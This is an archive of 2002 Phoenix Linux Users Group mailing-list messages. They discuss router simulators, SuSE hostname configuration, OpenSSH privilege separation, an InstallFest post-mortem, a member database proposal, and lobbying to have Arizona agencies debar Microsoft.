------=_NextPart_000_0009_01C21D0C.61B65EB0-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 20:04:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Raymond Cantwell) Date: Wed, 26 Jun 2002 13:04:57 -0700 Subject: Router Simulator References: <3D19F96E.5080600@qwest.net> <3D1A0736.1030805@ttlexceeded.com> Message-ID: <3D1A1E69.8070102@qwest.net> Bob George wrote: > Raymond Cantwell wrote: > >> I was wondering if anybody new where i could get a Cisco router >> simulator that ran under Linux. I have one for my wifes M$ box but, >> need one for my linux box so i can use it outside of the house. > > > I'm not sure about simulators, but you can make your Linux box into a > live router using Zebra. Zebra uses a very Cisco-like interface. Me > and some pals hooked up our home systems via Zebra to create the > OpenWISP (Worldwide Internet Simulation Project) -- a grandiose name > for our little distributed routing lab. I had my Linux box and five > routers, another guy had a Cisco router and another only a Linux box. > We were able to set up some sophisticated BGP routing scenarios that > helped me ace that portion of the CCNP exams. > > If you have a handful of Linux boxen, or even VMware, Zebra can help > add complexity to your routing scenarios. What's more, it's the "real > thing", so you wind up with more of an idea of the "real world" than > with many simulators. BGP wasn't really interesting until we had 7 or > 8 routers and a few ASen going. You can easily miss the finer points > of route redistribution with only 2 or 3 routers. > > I mentioned my free router pod (http://lab.ttlexceeded.com:8201) in a > separate message to Derek in this thread. > > - Bob > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > Bob thank you the lab will be very helpfull. You rock man. Ray From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 19:43:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tony Wasson) Date: Wed, 26 Jun 2002 12:43:12 -0700 Subject: Router Simulator / try a pod! References: <3D19F96E.5080600@qwest.net> Message-ID: <035501c21d49$b59f9db0$1f67c6d0@chelly> I'm sure Bob G doesn't want to blow his own horn, but you might look into his pod. You could hit it via telnet from your Linux box. http://lab.ttlexceeded.com:8201 Tony ----- Original Message ----- From: "Raymond Cantwell" To: "PLUG-discuss" Sent: Wednesday, June 26, 2002 10:27 Subject: Router Simulator > Hola, > I was wondering if anybody new where i could get a Cisco router > simulator that ran under Linux. I have one for my wifes M$ box but, need > one for my linux box so i can use it outside of the house. > Ray > malbojia@qwest.net > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 08:23:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (J) Date: Thu, 27 Jun 2002 01:23:07 -0700 Subject: Router Simulator In-Reply-To: <3D19F96E.5080600@qwest.net> References: <3D19F96E.5080600@qwest.net> Message-ID: On Wednesday 26 June 2002 10:27 am, you wrote: Would something like Zebra work for you? www.zebra.org > Hola, > I was wondering if anybody new where i could get a Cisco router > simulator that ran under Linux. I have one for my wifes M$ box but, need > one for my linux box so i can use it outside of the house. > Ray > malbojia@qwest.net > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 20:45:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 13:45:45 -0700 (MST) Subject: SuSE 7.3 sparc64 In-Reply-To: <200206261139.10339.zen2now@qwest.net> Message-ID: Am 26. Jun, 2002 schwätzte slr so: > I installed SuSE 7.3 on my Sun Ultra 5, and my current issue is changing my > hostname without using YaST. i made the change in /etc/hosts and > /etc/HOSTNAME, but there seems to be another file, or other files that > contain the real hostname. so editing /etc/hosts or /etc/HOSTNAME have no > effect on the machines hostname. just a little curious as to where the "Real > Hostname" is located. BTW this is my first time really working with SuSE, RH > and MDK have been my flavors of choice. Use the hostname command to change the active hostname. rgrep for the hostname in etc. You should find that at least your MTA has the hostname hard-coded as well. ciao, der.hans -- # https://www.LuftHans.com/ # Passwords are like underwear. You don't share them, you don't hang them on # your monitor, or under your keyboard, you don't email them, or put them on # a web site, and you must change them very often. -- Unknown From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 20:55:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 13:55:35 -0700 (MST) Subject: Doing the Right Thing (revisited) In-Reply-To: <3D192905.9262FC68@georgetoft.com> Message-ID: Am 25. Jun, 2002 schwätzte George Toft so: > While searching for more debarment guidelines, I came across these > tidbits: > =================================================================== > Title 7, Ch. 2 Arizona Administrative Code > State Board of Education > > R7-2-1161. Authority to debar or suspend > A. The governing board has the authority to debar or suspend a > person from participating in school district procurements. OK, this says they can debar a company, but doesn't require them to do so. Just looked at your earlier post about Maricopa County rules as well. Those also don't require debarment :(. I would presume this means that m$ isn't automagically debarred, rather only that the gov't now has cause to debar m$ if the gov't so chose. Now we have to convince them to debar m$ for their illegal activities. That's something that should've happened more than 10 years ago the first time m$ was on trial for anti-trust violations. Were they actually convicted that time or did they plea bargain out of it? ciao, der.hans > B. The causes for debarment or suspension include the following: > 3. Conviction or civil judgment finding a violation by any > person or any subsidiary or affiliate of any person under > state or federal antitrust statutes. > > www.mpsaz.org/purchasing/protest.pdf > > Same as before - Schools may debar anti-trust violators. > > =================================================================== > Same thing for ASU: > www.abor.asu.edu/1_the_regents/policymanual/chap3/3-809.pdf (page 11) > > =================================================================== > Same thing for the State: > http://sporas.ad.state.az.us/AZPolicy_art9.htm#Debarment > > =================================================================== > > > Tom Emerson is right - there is not much originality from one government > agency to the next in Arizona - they all pretty much copy the same text > and format. > > Let the letter writing begin!!! > > George > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- # https://www.LuftHans.com/ # If you have an apple and I have an apple and we exchange apples then # you and I will still each have one apple. But if you have an idea and # I have an idea and we exchange these ideas, then each of us will have # two ideas. -- George Bernard Shaw From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 21:29:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Wed, 26 Jun 2002 14:29:07 -0700 Subject: Router Simulator References: <3D19F96E.5080600@qwest.net> <3D1A0736.1030805@ttlexceeded.com> <3D1A1E69.8070102@qwest.net> Message-ID: <005701c21d58$838ba5d0$0301010a@tickticker.com> I have 3 spare 2514s, and a 2511 and a 1900 series switch that are sitting on my shelf now (i use 2600s to study and as my edge router). if anyone would like me to set up a lab or borrow or buy one off me that would be fine. I also have a cisco login that gets me any ios. just passed my ccie written. anthony ----- Original Message ----- From: "Raymond Cantwell" To: Sent: Wednesday, June 26, 2002 1:04 PM Subject: Re: Router Simulator > Bob George wrote: > > > Raymond Cantwell wrote: > > > >> I was wondering if anybody new where i could get a Cisco router > >> simulator that ran under Linux. I have one for my wifes M$ box but, > >> need one for my linux box so i can use it outside of the house. > > > > > > I'm not sure about simulators, but you can make your Linux box into a > > live router using Zebra. Zebra uses a very Cisco-like interface. Me > > and some pals hooked up our home systems via Zebra to create the > > OpenWISP (Worldwide Internet Simulation Project) -- a grandiose name > > for our little distributed routing lab. I had my Linux box and five > > routers, another guy had a Cisco router and another only a Linux box. > > We were able to set up some sophisticated BGP routing scenarios that > > helped me ace that portion of the CCNP exams. > > > > If you have a handful of Linux boxen, or even VMware, Zebra can help > > add complexity to your routing scenarios. What's more, it's the "real > > thing", so you wind up with more of an idea of the "real world" than > > with many simulators. BGP wasn't really interesting until we had 7 or > > 8 routers and a few ASen going. You can easily miss the finer points > > of route redistribution with only 2 or 3 routers. > > > > I mentioned my free router pod (http://lab.ttlexceeded.com:8201) in a > > separate message to Derek in this thread. > > > > - Bob > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > Bob thank you the lab will be very helpfull. You rock man. > Ray > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 21:46:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 26 Jun 2002 14:46:17 -0700 Subject: SuSE 7.3 sparc64 In-Reply-To: References: Message-ID: <200206261446.17057.zen2now@qwest.net> thx for the response, i tried the hostname from cli, but it will not change the machines hostname. it only makes the change AFAIK, to the hostname listed when entering #hostname. i have yet to rgrep etc, i am caught in a battle with netsaint's cgi permissions. but thats another issue, and if your interested in that issue i can give you the low down on it. slr On Wednesday 26 June 2002 01:45 pm, der.hans wrote: > Am 26. Jun, 2002 schwätzte slr so: > > I installed SuSE 7.3 on my Sun Ultra 5, and my current issue is changing > > my hostname without using YaST. i made the change in /etc/hosts and > > /etc/HOSTNAME, but there seems to be another file, or other files that > > contain the real hostname. so editing /etc/hosts or /etc/HOSTNAME have no > > effect on the machines hostname. just a little curious as to where the > > "Real Hostname" is located. BTW this is my first time really working with > > SuSE, RH and MDK have been my flavors of choice. > > Use the hostname command to change the active hostname. > > rgrep for the hostname in etc. You should find that at least your MTA has > the hostname hard-coded as well. > > ciao, > > der.hans From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 21:43:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 26 Jun 2002 14:43:50 -0700 Subject: SSH - Preparing for the big one (was Re: SSH Exploit Revealed (fwd)) In-Reply-To: <3D1A0A27.10207@ttlexceeded.com> References: <3D1A0A27.10207@ttlexceeded.com> Message-ID: <200206261444.02761.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wednesday 26 June 2002 11:38 am, Bob George wrote: > Anyhow, I'm running Debian and just did an apt-get dist-upgrade to > OpenSSH 3.3p1-0.0potato6. I run sshd only on a non-default port *not* > covered by nmap by default. I think I'm in pretty good shape, but wanted > to check with others and see if there are any other recommendations > (short of shutting it off). You have probably already done this, but OpenSSH 3.3p1 is still vulnerable. The key is that it now supports privilege separation which should trap them in a little box where they can't do anything. To enable this, add the following line to your sshd config file. UsePrivilegeSeparation yes - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9GjWgpNoctRtUIRQRAoW0AJwOAFyHaqINkNYLePFNl94UESotJQCcCxKh R3jItIem0CD/HrpNELqBU+4= =+a36 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 23:23:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Wed, 26 Jun 2002 16:23:41 -0700 Subject: Looking for..... Message-ID: <5.1.0.14.0.20020626162304.00a56890@localhost> Jim Woodhull. You left a message with me but I can't dial the number given. Call me 602-375-5363 Kimi Adams Unity Wave From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 23:19:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jiva DeVoe) Date: Wed, 26 Jun 2002 16:19:44 -0700 Subject: Doing the Right Thing (revisited) In-Reply-To: Message-ID: Sacred cows about to be slaughtered! Beware! Perhaps instead of spending all this energy on trying to come up with ways to fight MS legally (which MS will win anyway) why not spend this energy making Linux the better platform to choose for the applications instead of MS? Then you win for the *right reason*. Frankly, I for one cannot in good conscience recommend that Linux is the right platform for my children to use in school until Linux has better educational games and is easier to use. And forcing a choice on someone because of political motivations is no better than what MS does. On 6/26/02 1:55 PM, "der.hans" wrote: > Am 25. Jun, 2002 schwätzte George Toft so: > >> While searching for more debarment guidelines, I came across these >> tidbits: >> =================================================================== >> Title 7, Ch. 2 Arizona Administrative Code >> State Board of Education >> >> R7-2-1161. Authority to debar or suspend >> A. The governing board has the authority to debar or suspend a >> person from participating in school district procurements. > > OK, this says they can debar a company, but doesn't require them to do so. > > Just looked at your earlier post about Maricopa County rules as well. Those > also don't require debarment :(. > > I would presume this means that m$ isn't automagically debarred, rather only > that the gov't now has cause to debar m$ if the gov't so chose. Now we have > to convince them to debar m$ for their illegal activities. That's something > that should've happened more than 10 years ago the first time m$ was on > trial for anti-trust violations. Were they actually convicted that time or > did they plea bargain out of it? > > ciao, > > der.hans > >> B. The causes for debarment or suspension include the following: >> 3. Conviction or civil judgment finding a violation by any >> person or any subsidiary or affiliate of any person under >> state or federal antitrust statutes. >> >> www.mpsaz.org/purchasing/protest.pdf >> >> Same as before - Schools may debar anti-trust violators. >> >> =================================================================== >> Same thing for ASU: >> www.abor.asu.edu/1_the_regents/policymanual/chap3/3-809.pdf (page 11) >> >> =================================================================== >> Same thing for the State: >> http://sporas.ad.state.az.us/AZPolicy_art9.htm#Debarment >> >> =================================================================== >> >> >> Tom Emerson is right - there is not much originality from one government >> agency to the next in Arizona - they all pretty much copy the same text >> and format. >> >> Let the letter writing begin!!! >> >> George >> ________________________________________________ >> See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post >> to the list quickly and you use Netscape to write mail. >> >> PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >> http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 23:31:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Wed, 26 Jun 2002 16:31:08 -0700 Subject: First Crack at a Post Mortem In-Reply-To: <20020624182048.5CF611BD74@autumn.unitywave.com> Message-ID: <5.1.0.14.0.20020626162832.00a595b0@localhost> Very nicely put. I would only add that in the future, we make sure that there are more than ample power strips. Once the room fills up, it's hard to get more power without them. And if this is the only problem we encounter, then we are doing well above other groups that organize events like this. : ) To all, a job well done. I think we are all looking forward to another event and soon. Kimi Adams At 6/24/02, you wrote: >I am including it. I will put this up on the main Install Fest page, before >the Press Release when everyone agrees that this is appropriate. I am also >going to update the Contributors page to add Lycoris, TOLIS, and UnityWave. > >Lemme know what you think of this as a post mortem. > >---------- > >Does the word "success" ring a bell? Parking Lot A at SCC was nearly >deserted at 8:30 a.m. The Student Center was locked and dark. By 9:00 >a.m. the Turquoise Room was filled with PLUG members setting up the room >for an unknown number of "customers". I was under the impression that all >of our communications with the outside world said that the Install Fest >would run from 10:00 a.m. till 4:00 p.m. That did not stop "customers" from >coming in early - or often. >

>The only problem that we encountered was finding table space to put all of >the machines that were brought in to have Linux installed on. It seemed to >me that by 10:30 or 11:00 we were scrambling to find a place for a customer >and his PLUG installer to set up. That problem continued well into the >afternoon hours. That was about the only problem that we encountered. >Okay, there was a need for a blank floppy for a network install but who >uses floppies any more? >

>There seemed to always be PLUG members ready and willing to help with the >next install. During those "down" times, they spent a lot of time answering >questions and helping to resolve issues. The presentations that were held >in the Peridot Room seemed to go very well. I overheard a lot of comments >and they were all extremely positive. The giveaways, as always, went >over very well. Without the support of the vendors, we would never be >able to show the newbies that Linux is about giving and sharing by >giving away so many goodies. Only the RMS video in the hallway met with >less than stellar success, but that may be a result of the location. >

>So what were the numbers? There were 107 people who signed in. There were >somewhere between 150 and 200 raffle tickets that disappeared from the end >of the roll. There were 39 installs. I know of at least two installs that >were not completely successful, but I know that one was a hardware issue. >That boils down to over six installs per hour - and that is an impressive >number. >

>Who do we need to thank? This could be a very long list. We >should start with the Install Fest Committee. Bill, Dennis, Alan, Hans, >Thurm, and Vic did a great job in covering all of the contingencies. I >want to single out Thurm for providing the facilities at SCC. His head is >an appropriate repository for the Red Hat fedora, because without the >facilities the Install Fest would not have been as successful. >

>We need to thank the vendors who supported the PLUG Install Fest. You can >see the list of all the supporters by clicking on the Contributors link >above (it has been updated to reflect the late-commers because they >deserve mentioning). I want to single out Red Hat and Lycoris. Not only >did they supply merchandise for the giveaways but they also had personal >representatives down in the trenches doing installs and answering >questions. A tip of Thurm's new fedora to both Red Hat and Lycoris. >

>But I reserve the biggest THANK YOU to all the PLUG members who showed up >to help doing the installs. Maybe we could have done the installs without >being in the comfortable confines of the Turquoise Room. Maybe we would >have had a superb turnout of customers without the tons of giveaways. But >I guarantee that the whole event would have been a miserable experience if >the hordes of PLUG members that did the installs and answered the questions >and showed the newbies how to get more information and told them how PLUG >was always ready to support them were not there. To each and every one of >you, stand up and take a bow. >

>We did learn a few valuable lessons. We learned that we need to find a way >to keep a better count of people, members, customers, and window-shoppers. >We learned that we need to be prepared for a LOT of customers. We learned >that we should be getting more information from the customers, especially >things like where they heard about the event, what OS they are >replacing or adding to, and what kinds of things they will be using the >Linux computer for. >

>I know that there are a lot of members who were not at the Install Fest. >For you, we have a couple of links to pictures taken at the Install Fest. >The first one is from Thurm. See them at >http://inficad.com/~thurmunit/plug/installfest. Scott Sawyer from Red Hat >has a large collection of pictures that he took at the Install Fest. See >them at http://www.scottsawyer.org/photo-display/index.cgi under the 2002 >year archives. >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 23:33:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob George) Date: Wed, 26 Jun 2002 16:33:54 -0700 Subject: Router Simulator References: <3D19F96E.5080600@qwest.net> <3D1A0736.1030805@ttlexceeded.com> <3D1A1E69.8070102@qwest.net> <005701c21d58$838ba5d0$0301010a@tickticker.com> Message-ID: <3D1A4F62.5060909@ttlexceeded.com> tickticker wrote: >I have 3 spare 2514s, and a 2511 and a 1900 series switch that are sitting >on my shelf now (i use 2600s to study and as my edge router). if anyone >would like me to set up a lab or borrow or buy one off me that would be >fine. I also have a cisco login that gets me any ios. just passed my ccie >written. > Ah nice! You should DEFINITELY set up a lab. I keep hoping to get the Cisco Self-Study Cooperative going. My CCIE is on hold until the market straightens out, but I'll be going for Security then. - Bob From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 23:51:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Wed, 26 Jun 2002 16:51:18 -0700 Subject: Membership database (was Re: West Side InstallFest) In-Reply-To: <200206261007.11942.voltage_spike@fastmail.fm> References: Message-ID: <5.1.0.14.0.20020626163527.00a52ec0@localhost> Kimi's thoughts and vision: I came to this group because I inherited the job of making an ISP we bought work. They used Linux on the servers. I was used to DOS and easily took over some of the challenges we were facing. However, when it came to finding out more, it was hard to know who to talk with. It was even harder trying to talk with people at companies in the phone book about Linux, which I was using Red Hat at the time. I had a problem once and had to find someone to fix it and ended up with an out of state company. I soon started looking for others to talk with. I found PLUG because of someone sending me an email. I subscribed, then got busy and got unsubscribed. I later needed help again and I spoke with Jiva, who helped me in like 10 minutes. Wonderful person, Jiva is. I joined the listing again and started really paying attention. The reason that I stay and the reason that I feel a database of some sort will help is because if you need information, people aren't always sitting on the mailing list waiting to help. Not that this list has every not responded rapidly, but just that sometimes it takes time and effort to read emails and such. Where if there were a database, easily searchable, it would help to know that the person's information is right there. Like looking for stuff on Google. When we talk about what PLUG is or it does or how it helps people, it's about being a member anyway. You are a member of a list, you email members and you talk with members all the time. The difference is that since PLUG is getting a lot more attention, for those others out there that do not subscribe to the list, there needs to be more of an easy way to access this information. Some people don't want to post because they feel stupid having 400 people see their post. Even though this list has time and time again stated that this is what we are here for, that mentality is still out there. When I help people, they are actually surprised and very glad that we help for free and talk about stuff willingly that will help them. It's just my thoughts and it may not fit everyone, but the group as a whole needs this kind of interaction in a database for the community. The group is over 400 people and that is a lot of help. That is a lot of information to know in your head about everyone. If you don't want to sign up for anything, then it's a choice you make. Just like deleting emails you don't have an interest in. But for those that need help and do not want to subscribe just to post emails, it's a way to expose our group further and gain more attention, in a database format. : ) Onward............. Kimi Adams Unity Wave At 6/26/02, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >On Wednesday 26 June 2002 09:35 am, Derek Neighbors wrote: > > I will start an old war here. I would love to see PLUG have a membership > > database, that let people list their specialities etc.. This would be > > nice so that if we wanted to ever do mailings for things like install > > fests guest speakers and such, but more importantly if someone says "I > > want to install Free BSD on an AMIGA" (or something) we could help find > > someone who might have experience in that. > > > > More over, it would be nice to have people coming to the install fests > > sign up so we could do adequate followup and inform them of training and > > the likes. > >How would this be significantly different from a posting to the PLUG mailing >list? An expert who sees the title "Free BSD on an AMIGA" is just as >likely to volunteer with or without being registered. Additionally, please >lose and gain skills constantly, but probably do not wish to maintain a >PLUG profile (at least, I don't particularly care to). > >About the install-festees (can we call them that?), I am also in favor of >the earlier suggestion that they sign onto the mailing list through a >"subscriber box" while they are present. This way the followup and >announcements would be along the lines of 30-50 messages a day! Certainly >that is enough. ;-) > >It is a good idea, I just don't see it as being necessary given the nature >of the PLUG mailing list. > >- -- > Logan Kennelly > ,,, > (. .) >- --ooO-(_)-Ooo-- >-----BEGIN PGP SIGNATURE----- >Version: GnuPG v1.0.6 (GNU/Linux) >Comment: For info see http://www.gnupg.org > >iD8DBQE9GfS9pNoctRtUIRQRArolAJ9P/In24vvFRWjYE/Fd6MbEl9QaiACghQcu >7JXOEtj1qTBgP/1cPCDVp3c= >=A328 >-----END PGP SIGNATURE----- >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 23:45:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 26 Jun 2002 19:45:58 -0400 Subject: SuSE 7.3 sparc64 References: <200206261446.17057.zen2now@qwest.net> Message-ID: <3D1A5236.D4ED84DC@georgetoft.com> Look in /etc/rc.config - you should use YaST to edit this file. George slr wrote: > > thx for the response, > > i tried the hostname from cli, but it will not > change the machines hostname. it only makes the change AFAIK, to the hostname > listed when entering #hostname. i have yet to rgrep etc, i am caught in a > battle with netsaint's cgi permissions. but thats another issue, and if your > interested in that issue i can give you the low down on it. > > slr > > On Wednesday 26 June 2002 01:45 pm, der.hans wrote: > > Am 26. Jun, 2002 schwätzte slr so: > > > I installed SuSE 7.3 on my Sun Ultra 5, and my current issue is changing > > > my hostname without using YaST. i made the change in /etc/hosts and > > > /etc/HOSTNAME, but there seems to be another file, or other files that > > > contain the real hostname. so editing /etc/hosts or /etc/HOSTNAME have no > > > effect on the machines hostname. just a little curious as to where the > > > "Real Hostname" is located. BTW this is my first time really working with > > > SuSE, RH and MDK have been my flavors of choice. > > > > Use the hostname command to change the active hostname. > > > > rgrep for the hostname in etc. You should find that at least your MTA has > > the hostname hard-coded as well. > > > > ciao, > > > > der.hans > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 23:59:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 26 Jun 2002 19:59:17 -0400 Subject: Doing the Right Thing (revisited) References: Message-ID: <3D1A5555.AD51C941@georgetoft.com> Technologically superior products have nothing to do with success. To wit: Windows vs Unix, Beta vs VHS, Minidisc vs anything, PowerPC vs. i386. "To be provided a weapon to use in a fight and not use it is foolish." (some US Army hand-to-hand combat manual) To Hans' point - we know the governments have a debarment process, now we must act to get them to consider debarment. Even if the end result is that they choose to keep everything as it is, our voices will have been heard. The seeds of doubt will have been planted. Many organizations are deeply entrenched in Microsoft technology, and most people fear change, so they will not want to change. Guess what? Some of these people we need to write to are elected officials, and we can influence their future employment. That is a powerful motivator. George Jiva DeVoe wrote: > > Sacred cows about to be slaughtered! Beware! > > Perhaps instead of spending all this energy on trying to come up with ways > to fight MS legally (which MS will win anyway) why not spend this energy > making Linux the better platform to choose for the applications instead of > MS? Then you win for the *right reason*. > > Frankly, I for one cannot in good conscience recommend that Linux is the > right platform for my children to use in school until Linux has better > educational games and is easier to use. And forcing a choice on someone > because of political motivations is no better than what MS does. > > On 6/26/02 1:55 PM, "der.hans" wrote: > > > Am 25. Jun, 2002 schwätzte George Toft so: > > > >> While searching for more debarment guidelines, I came across these > >> tidbits: > >> =================================================================== > >> Title 7, Ch. 2 Arizona Administrative Code > >> State Board of Education > >> > >> R7-2-1161. Authority to debar or suspend > >> A. The governing board has the authority to debar or suspend a > >> person from participating in school district procurements. > > > > OK, this says they can debar a company, but doesn't require them to do so. > > > > Just looked at your earlier post about Maricopa County rules as well. Those > > also don't require debarment :(. > > > > I would presume this means that m$ isn't automagically debarred, rather only > > that the gov't now has cause to debar m$ if the gov't so chose. Now we have > > to convince them to debar m$ for their illegal activities. That's something > > that should've happened more than 10 years ago the first time m$ was on > > trial for anti-trust violations. Were they actually convicted that time or > > did they plea bargain out of it? > > > > ciao, > > > > der.hans > > > >> B. The causes for debarment or suspension include the following: > >> 3. Conviction or civil judgment finding a violation by any > >> person or any subsidiary or affiliate of any person under > >> state or federal antitrust statutes. > >> > >> www.mpsaz.org/purchasing/protest.pdf > >> > >> Same as before - Schools may debar anti-trust violators. > >> > >> =================================================================== > >> Same thing for ASU: > >> www.abor.asu.edu/1_the_regents/policymanual/chap3/3-809.pdf (page 11) > >> > >> =================================================================== > >> Same thing for the State: > >> http://sporas.ad.state.az.us/AZPolicy_art9.htm#Debarment > >> > >> =================================================================== > >> > >> > >> Tom Emerson is right - there is not much originality from one government > >> agency to the next in Arizona - they all pretty much copy the same text > >> and format. > >> > >> Let the letter writing begin!!! > >> > >> George > >> ________________________________________________ > >> See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > >> to the list quickly and you use Netscape to write mail. > >> > >> PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >> http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >> > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 00:01:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Wed, 26 Jun 2002 17:01:54 -0700 (MST) Subject: Doing the Right Thing (revisited) In-Reply-To: Message-ID: Jim, regarding educational software intended for use by school age children, have you reviewed what is available today? (... I speak without having looked too closely myself!!) Recall that there are a handful of public school districts around the country switching over to a Linux dominated desktop computing environment this summer. In my opinion, you are spot-on about the better platform, at least regarding the desktop. I use a basic KDE most of the day, and am an advocate. Trouble is, the MS desktop just plain looks better. Look & feel issues still dampen the urge to switch to a Linux desktop. It's getting closer, maybe next quarter it'll be more evenly matched? At least maybe the darn fonts will improve sometime soon, this seems to be the most in-your-face issue. My linux desktop fonts look great (my desktop installs have been 'adjusted'), but, fresh from the red box, the fonts are quite ragged. Back to the use of Linux desktop systems in schools. My wife and I were required to sign an agreement at my son's school regarding his use of school computer systems. Taking what was on that agreement to an almost silly maximum, it leaves us with a civil liability exposure should our son inadvertantly open a virus-ladened email which in turn infects school computers. I am quite certain that if my son were to inadvertently open a virus ladended email and subsequently infect school computers, there would not be any consequenses (other than the school IT department scrambling to clean the infected systems!), but the agreement we signed doesn't quite read that way. Point is, I know that Linux desktops can be tightly locked down to prevent curious kids from exploring into an area where they might get themselves into trouble. Contrast this to Windows desktop systems that are trivial to comprimise by simply clicking on a URL! My nightmare is that my kid is found to be culpable for comprimising school systems, without intentionally doing something he knows he should not do. - tom e. ---------- On Wed, 26 Jun 2002, Jiva DeVoe wrote: Sacred cows about to be slaughtered! Beware! Perhaps instead of spending all this energy on trying to come up with ways to fight MS legally (which MS will win anyway) why not spend this energy making Linux the better platform to choose for the applications instead of MS? Then you win for the *right reason*. Frankly, I for one cannot in good conscience recommend that Linux is the right platform for my children to use in school until Linux has better educational games and is easier to use. And forcing a choice on someone because of political motivations is no better than what MS does. On 6/26/02 1:55 PM, "der.hans" wrote: > Am 25. Jun, 2002 schwätzte George Toft so: > >> While searching for more debarment guidelines, I came across these >> tidbits: >> =================================================================== >> Title 7, Ch. 2 Arizona Administrative Code >> State Board of Education >> >> R7-2-1161. Authority to debar or suspend >> A. The governing board has the authority to debar or suspend a >> person from participating in school district procurements. > > OK, this says they can debar a company, but doesn't require them to do so. > > Just looked at 